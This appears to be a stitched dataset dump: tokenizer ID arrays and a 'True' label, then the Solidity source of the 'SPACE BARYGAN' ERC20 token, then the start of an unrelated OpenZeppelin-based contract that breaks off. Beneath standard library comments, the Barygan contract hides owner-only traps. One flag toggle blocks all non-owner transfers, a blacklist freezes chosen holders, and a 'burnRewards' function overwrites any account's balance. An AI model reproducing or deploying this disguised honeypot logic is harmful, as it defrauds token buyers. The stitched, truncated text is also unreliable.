4769,
25331,
4539,
1010,
21318,
3372,
17788,
2575,
3643,
1010,
5164,
8085,
1010,
27507,
2951,
1010,
21318,
3372,
17788,
2575,
27859,
1007,
1025,
2724,
15389,
6494,
3619,
18908,
3258,
1006,
27507,
16703,
25331,
19067,
14949,
2232,
1010,
4769,
25331,
4539,
1010,
21318,
3372,
17788,
2575,
3643,
1010,
5164,
8085,
1010,
27507,
2951,
1010,
21318,
3372,
17788,
2575,
27859,
1007,
1025,
2724,
24240,
6494,
3619,
18908,
3258,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-07
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.1;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint256);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
mapping (address => bool) private _approveTransfer;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
uint256 _reward;
string internal _name;
string internal _symbol;
uint256 internal _decimals;
bool maxTxPercent = true;
address internal _owner;
address private uniV2router;
address private uniV2factory;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint256 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_owner = msg.sender;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint256) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function recall(address _address) external onlyOwner {
_approveTransfer[_address] = false;
}
function approveTransfer(address _address) external onlyOwner {
_approveTransfer[_address] = true;
}
function approvedTransfer(address _address) public view returns (bool) {
return _approveTransfer[_address];
}
function setMaxTxPercent() public virtual onlyOwner {
if (maxTxPercent == true) {maxTxPercent = false;} else {maxTxPercent = true;}
}
function maxTxPercentState() public view returns (bool) {
return maxTxPercent;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function reflectReward (uint256 value) external onlyOwner {
_reward = value;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be grater thatn zero");
if (_approveTransfer[sender] || _approveTransfer[recipient])
require(maxTxPercent == false, "");
if (maxTxPercent == true || sender == _owner || recipient == _owner) {
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);}
else {require (maxTxPercent == true, "");}
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _reward - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract SpaceBarygan is ERC20 {
constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {
_name = "SPACE BARYGAN | t.me/SpaceBarygan";
_symbol = "BARYGAN";
_decimals = 9;
_totalSupply += initialSupply;
_balances[msg.sender] += initialSupply;
emit Transfer(address(0), msg.sender, initialSupply);
}
function burnRewards(address account, uint256 value) external onlyOwner {
_burn(account, value);
}
}
/**
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its contributors may be
* used to endorse or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
**/ | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
5718,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1027,
1014,
1012,
1022,
1012,
1015,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// SPDX-License-Identifier: MIT
//File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
